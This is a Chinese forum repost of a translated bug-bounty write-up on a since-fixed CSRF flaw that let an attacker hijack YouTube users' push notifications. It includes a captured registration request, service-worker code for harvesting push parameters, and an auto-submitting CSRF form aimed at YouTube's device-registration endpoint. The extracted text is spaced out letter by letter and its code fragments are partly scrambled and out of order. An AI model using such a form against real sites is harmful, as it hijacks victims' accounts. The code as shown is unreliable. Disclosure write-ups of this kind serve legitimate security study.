搜索

[14039] 2019-04-27_能够用于劫持Youtube用户通知消息的CSRF漏洞探究

文档创建者：s7ckTeam
浏览次数：34
最后更新：2025-01-18
2019-04-27_能够用于劫持Youtube用户通知消息的CSRF漏洞探究 能 够 用 于 劫 持 Y o u t u b e 用 户 通 知 消 息 的 C S R F 漏 洞 探 究 c l o u d s   F r e e B u f   2 0 1 9 - 0 4 - 2 7 大 家 好 ， 今 天 分 享 的 大 家 好 ， 今 天 分 享 的 w r i t e u p 是 关 于 是 关 于 Y o u T u b e 通 知 服 务 通 知 服 务 （ （ N o t i f i c a t i o n ） 的 ） 的 C S R F 漏 洞 ， 作 者 利 用 该 漏 洞 可 以 劫 持 其 他 漏 洞 ， 作 者 利 用 该 漏 洞 可 以 劫 持 其 他 Y o u T u b e 用 户 （ 受 害 者 ） 的 通 知 服 务 ， 能 以 受 害 者 用 户 身 份 接 收 到 其 订 阅 频 道 或 视 频 用 户 （ 受 害 者 ） 的 通 知 服 务 ， 能 以 受 害 者 用 户 身 份 接 收 到 其 订 阅 频 道 或 视 频 的 最 新 通 知 ， 漏 洞 最 终 获 得 的 最 新 通 知 ， 漏 洞 最 终 获 得 G o o g l e 官 方 官 方 $ 3 1 3 3 . 7 美 金 的 奖 励 ， 以 下 是 作 者 的 分 享 。 美 金 的 奖 励 ， 以 下 是 作 者 的 分 享 。 从 从 P O S T 请 求 中 发 现 端 倪 请 求 中 发 现 端 倪 某 天 晚 上 ， 我 在 Y o u T u b e 官 网 上 测 试 漏 洞 ， 看 看 能 有 什 么 发 现 ， 不 知 不 觉 时 间 已 经 是 半 夜 0 0 : 3 0 了 ， 困 累 之 极 … . . 。 我 就 随 便 点 点 打 开 了 Y o u T u b e 的 通 知 服 务 （ N o t i f i c a t i o n ） ， 其 中 的 P O S T 请 求 引 起 了 我 的 注 意 ： 乍 一 看 ， 为 了 防 止 C S R F ， 其 中 的 a u t h _ k e y 、 p 2 5 6 d h _ k e y 、 e n d p o i n t 、 d e v i c e _ i d 等 参 数 貌 似 都 是 经 过 编 码 的 字 符 串 ， 但 仔 细 一 分 析 才 知 道 ， 这 些 所 有 的 参 数 都 是 由 其 中 u p d a t e s . p u s h . s e r v i c e s . m o z i l l a . c o m 的 M o z i l l a 通 知 推 送 服 务 产 生 的 ， 所 以 ， 这 样 初 略 来 看 ， 该 接 口 上 不 存 在 C S R F 漏 洞 。 分 析 分 析 S e r v i c e   W o r k e r   服 务 工 作 线 程 服 务 工 作 线 程 深 入 分 析 可 知 ， 上 述 P O S T 请 求 中 的 r e f e r r e r 字 段 值 为 “ h t t p s : / / w w w . y o u t u b e . c o m / s w . j s ” ， 这 个 s w . j s 明 显 为 一 个 服 务 工 作 线 程 脚 本 （ S e r v i c e   W o r k e r ） 。 P O S T   / n o t i f i c a t i o n s _ a j a x ? a c t i o n _ r e g i s t e r _ d e v i c e = 1   H T T P / 1 . 1 H o s t :   w w w . y o u t u b e . c o m U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 6 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 5 . 0 A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e R e f e r e r :   h t t p s : / / w w w . y o u t u b e . c o m / s w . j s C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 1 8 4 6 7 6 3 3 4 O r i g i n :   h t t p s : / / w w w . y o u t u b e . c o m C o n t e n t - L e n g t h :   1 4 5 9 C o n n e c t i o n :   c l o s e C o o k i e :   d u h ,   c o o k i e s ! - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 1 8 4 6 7 6 3 3 4 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " e n d p o i n t " h t t p s : / / u p d a t e s . p u s h . s e r v i c e s . m o z i l l a . c o m / w p u s h / v 1 / g A A A . . . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 1 8 4 6 7 6 3 3 4 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " d e v i c e _ i d " d b e 8 4 5 3 d 9 9 7 1 4 c 6 1 6 0 9 9 4 f d f 5 b b 3 c 5 9 3 3 2 d f 0 4 2 7 8 a . . . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 1 8 4 6 7 6 3 3 4 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " p 2 5 6 d h _ k e y " B B N V k V O t 6 t p Y 1 K v J J q t L v q t . . . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 1 8 4 6 7 6 3 3 4 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " a u t h _ k e y " V 5 - _ l h 6 n Y T 2 z o Y . . . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 1 8 4 6 7 6 3 3 4 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " p e r m i s s i o n " g r a n t e d - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 1 8 4 6 7 6 3 3 4 - -
S e r v i c e   W o r k e r   是 独 立 于 当 前 页 面 的 一 段 运 行 在 浏 览 器 后 台 进 程 里 的 脚 本 。 S e r v i c e   W o r k e r 不 需 要 用 户 打 开   w e b   页 面 ， 也 不 需 要 其 他 交 互 ， 异 步 地 运 行 在 一 个 完 全 独 立 的 上 下 文 环 境 ， 不 会 对 主 线 程 造 成 阻 塞 。 基 于 S e r v i c e   W o r k e r 可 以 实 现 消 息 推 送 、 离 线 缓 存 和 后 台 同 步 A P I 等 功 能 ， 本 质 上 来 说 ， S e r v i c e W o r k e r 充 当 了 W e b 应 用 程 序 与 浏 览 器 之 间 的 代 理 。 也 就 是 说 ， r e f e r r e r 字 段 中 的 s w . j s 发 起 了 这 个 P O S T 请 求 ， 以 至 于 这 个 请 求 和 其 它 具 备 C S R F 防 御 机 制 的 Y o u T u b e 请 求 内 容 存 在 不 同 。 构 造 构 造 C S R F 攻 击 框 架 攻 击 框 架 到 了 这 一 步 ， 从 这 些 参 数 里 ， 我 隐 约 觉 得 这 里 应 该 会 有 漏 洞 出 现 ， 但 总 要 构 造 个 P o C 出 来 试 试 看 。 因 此 ， 通 过 研 究 以 上 参 数 的 生 成 机 制 ， 我 利 用 s w . j s 原 理 ， 编 写 了 以 下 三 个 代 码 文 件 ， 构 建 了 一 个 本 地 服 务 端 来 生 成 其 中 的 各 个 参 数 。 i n d e x . h t m l ： s w . j s ： < ! D O C T Y P E   h t m l > < h t m l > < h e a d >         < m e t a   c h a r s e t = " u t f - 8 "   / >         < m e t a   h t t p - e q u i v = " X - U A - C o m p a t i b l e "   c o n t e n t = " I E = e d g e " >         < t i t l e > P u s h   D e m o < / t i t l e >         < m e t a   n a m e = " v i e w p o r t "   c o n t e n t = " w i d t h = d e v i c e - w i d t h ,   i n i t i a l - s c a l e = 1 " >         < l i n k   r e l = " s t y l e s h e e t "   t y p e = " t e x t / c s s "   m e d i a = " s c r e e n "   h r e f = " i n d e x . c s s "   / >         < s c r i p t   s r c = " i n d e x . j s " > < / s c r i p t > < / h e a d > < b o d y >         < h 1 > H e l l o   W o r l d < / h 1 >         < b u t t o n   i d = " p e r m i s s i o n - b t n "   o n c l i c k = " m a i n ( ) " > A s k   P e r m i s s i o n < / b u t t o n > < / b o d y > < / h t m l > i n d e x . j s ： c o n s t   c h e c k   =   ( )   = >   {     i f   ( ! ( ' s e r v i c e W o r k e r '   i n   n a v i g a t o r ) )   {         t h r o w   n e w   E r r o r ( ' N o   S e r v i c e   W o r k e r   s u p p o r t ! ' )     }     i f   ( ! ( ' P u s h M a n a g e r '   i n   w i n d o w ) )   {         t h r o w   n e w   E r r o r ( ' N o   P u s h   A P I   S u p p o r t ! ' )     } } c o n s t   r e g i s t e r S e r v i c e W o r k e r   =   a s y n c   ( )   = >   {     c o n s t   s w R e g i s t r a t i o n   =   a w a i t   n a v i g a t o r . s e r v i c e W o r k e r . r e g i s t e r ( ' s w . j s ' )     r e t u r n   s w R e g i s t r a t i o n } c o n s t   r e q u e s t N o t i f i c a t i o n P e r m i s s i o n   =   a s y n c   ( )   = >   {     c o n s t   p e r m i s s i o n   =   a w a i t   w i n d o w . N o t i f i c a t i o n . r e q u e s t P e r m i s s i o n ( )     i f   ( p e r m i s s i o n   ! = =   ' g r a n t e d ' )   {         t h r o w   n e w   E r r o r ( ' P e r m i s s i o n   n o t   g r a n t e d   f o r   N o t i f i c a t i o n ' )     } } c o n s t   m a i n   =   a s y n c   ( )   = >   {     c h e c k ( )     c o n s t   s w R e g i s t r a t i o n   =   a w a i t   r e g i s t e r S e r v i c e W o r k e r ( )     c o n s t   p e r m i s s i o n   =   a w a i t   r e q u e s t N o t i f i c a t i o n P e r m i s s i o n ( ) } s e l f . a d d E v e n t L i s t e n e r ( ' a c t i v a t e ' ,   a s y n c   ( )   = >   {       c o n s o l e . l o g ( " H e l l o " ) ;             s e l f . r e g i s t r a t i o n . p u s h M a n a g e r . s u b s c r i b e ( )     . t h e n ( f u n c t i o n ( s u b s c r i p t i o n )   {                     c o n s o l e . l o g ( J S O N . s t r i n g i f y ( s u b s c r i p t i o n ) ) ;     } )     . c a t c h ( f u n c t i o n ( e )   {         c o n s o l e . l o g ( e ) ;     } ) ; } ) s e l f . a d d E v e n t L i s t e n e r ( " p u s h " ,   f u n c t i o n ( e v e n t )   {
这 三 个 代 码 文 件 的 目 的 在 于 获 取 s w . j s 请 求 时 生 成 的 各 个 参 数 ， 有 了 这 些 参 数 ， 就 可 以 间 接 形 成 通 知 （ N o t i f i c a t i o n ） ， 打 开 其 中 的 i n d e x . h t m l 页 面 ， 点 击 A s k P e r m i s s i o n 按 钮 请 求 通 知 权 限 ， 后 台 调 用 s w . j s 脚 本 ， 通 过 内 置 的 F i r e f o x   A P I 形 成 一 个 本 地 的 通 知 服 务 端 ， 通 知 请 求 提 交 时 ， 我 们 就 能 获 取 到 其 中 的 各 个 参 数 。 利 用 这 些 参 数 ， 可 以 进 一 步 构 造 出 C S R F 攻 击 框 架 ， 就 能 获 取 到 对 应 的 通 知 消 息 。 在 本 地 l o c l a l h o s t 构 造 这 种 通 知 请 求 服 务 端 ， 需 要 用 到 S e r v i c e   W o r k e r   服 务 工 作 线 程 （ s w . j s ） 的 部 署 原 理 ， 其 中 涉 及 服 务 注 册 、 激 活 、 缓 存 控 制 和 相 关 响 应 机 制 ， 具 体 可 参 考 ： d e v e l o p e r . m o z i l l a . o r g 和 d e v e l o p e r s . g o o g l e . c o m 中 的 详 细 介 绍 说 明 。 综 合 上 述 分 析 ， 基 于 我 们 之 前 创 建 的 本 地 通 知 服 务 端 ， 结 合 Y o u t u b e 的 通 知 请 求 提 交 方 式 ， 我 构 造 了 以 下 C S R F 攻 击 框 架 ： 让 我 意 想 不 到 的 是 ， 我 在 其 中 以 其 他 Y o u t u b e 账 号 身 份 ， 利 用 获 取 到 的 各 种 请 求 参 数 ， 提 交 了 通 知 请 求 ， 竟 然 能 有 效 实 施 通 知 消 息 的 C S R F 攻 击 。 也 就 是 说 ， 我 们 现 在 可 以 劫 持 到 其 他 Y o u t u b e 账 号 的 消 息 推 送 接 口 （ P U S H   w e b h o o k ） ， 以 其 他 Y o u t u b e 账 号 身 份 收 取 到 Y o u t u b e 响 应 该 账 号 的 相 关 通 知 ， 这 些 通 知 可 能 是 他 订 阅 的 某 个 频 道 或 视 频 的 更 新 消 息 ， 也 可 能 是 他 私 人 视 频 的 观 众 评 论 等 ， 如 下 ： 漏 洞 上 报 后 ， 谷 歌 在 半 小 时 之 后 就 给 了 我 回 复 ， 称 漏 洞 有 效 ， 会 尽 快 走 完 验 证 修 复 流 程 ， 并 会 及 时 给 我 后 续 通 知 。 半 个 多 月 后 ， 谷 歌 回 复 称 修 复 工 作 已 经 完 成 ， 漏 洞 按 其 V R P 项 目 核 定 ， 达 到 $ 3 1 3 3 . 7 0 美 金 的 奖 励 。 * 参 考 来 源 ： 参 考 来 源 ： h a c k a d e m i c ， ， c l o u d s 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 推 荐 阅 读 推 荐 阅 读 s e l f . a d d E v e n t L i s t e n e r ( " p u s h " ,   f u n c t i o n ( e v e n t )   {     i f   ( e v e n t . d a t a )   {         c o n s o l e . l o g ( " P u s h   e v e n t ! !   " ,   e v e n t . d a t a . t e x t ( ) ) ;         s h o w L o c a l N o t i f i c a t i o n ( " Y o l o " ,   e v e n t . d a t a . t e x t ( ) ,     s e l f . r e g i s t r a t i o n ) ;     }   e l s e   {         c o n s o l e . l o g ( " P u s h   e v e n t   b u t   n o   d a t a " ) ;     } } ) ; c o n s t   s h o w L o c a l N o t i f i c a t i o n   =   ( t i t l e ,   b o d y ,   s w R e g i s t r a t i o n )   = >   {     c o n s t   o p t i o n s   =   {         b o d y         / /   h e r e   y o u   c a n   a d d   m o r e   p r o p e r t i e s   l i k e   i c o n ,   i m a g e ,   v i b r a t e ,   e t c .     } ;     s w R e g i s t r a t i o n . s h o w N o t i f i c a t i o n ( t i t l e ,   o p t i o n s ) ; } ; < f o r m   a c t i o n = " h t t p s : / / w w w . y o u t u b e . c o m / n o t i f i c a t i o n s _ a j a x ? a c t i o n _ r e g i s t e r _ d e v i c e = 1 "   m e t h o d = " p o s t "   e n c t y p e = " m u l t i p a r t / f o r m - d a t a "   n a m e = " c s r f " >                 < i n p u t   t y p e = " t e x t "   n a m e = " d e v i c e _ i d "   v a l u e = " r e p l a c e " >                 < i n p u t   t y p e = " t e x t "   n a m e = " p e r m i s s i o n "   v a l u e = " g r a n t e d " >                                 < i n p u t   t y p e = " t e x t "   n a m e = " e n d p o i n t "   v a l u e = " r e p l a c e " >                                 < i n p u t   t y p e = " t e x t "   n a m e = " p 2 5 6 d h _ k e y "   v a l u e = " r e p l a c e = " >                                 < i n p u t   t y p e = " t e x t "   n a m e = " a u t h _ k e y "   v a l u e = " r e p l a c e " >                 < i n p u t   t y p e = " s u b m i t " >                 < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " > d o c u m e n t . c s r f . s u b m i t ( ) ; < / s c r i p t > < / f o r m > < / h t m l >

阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理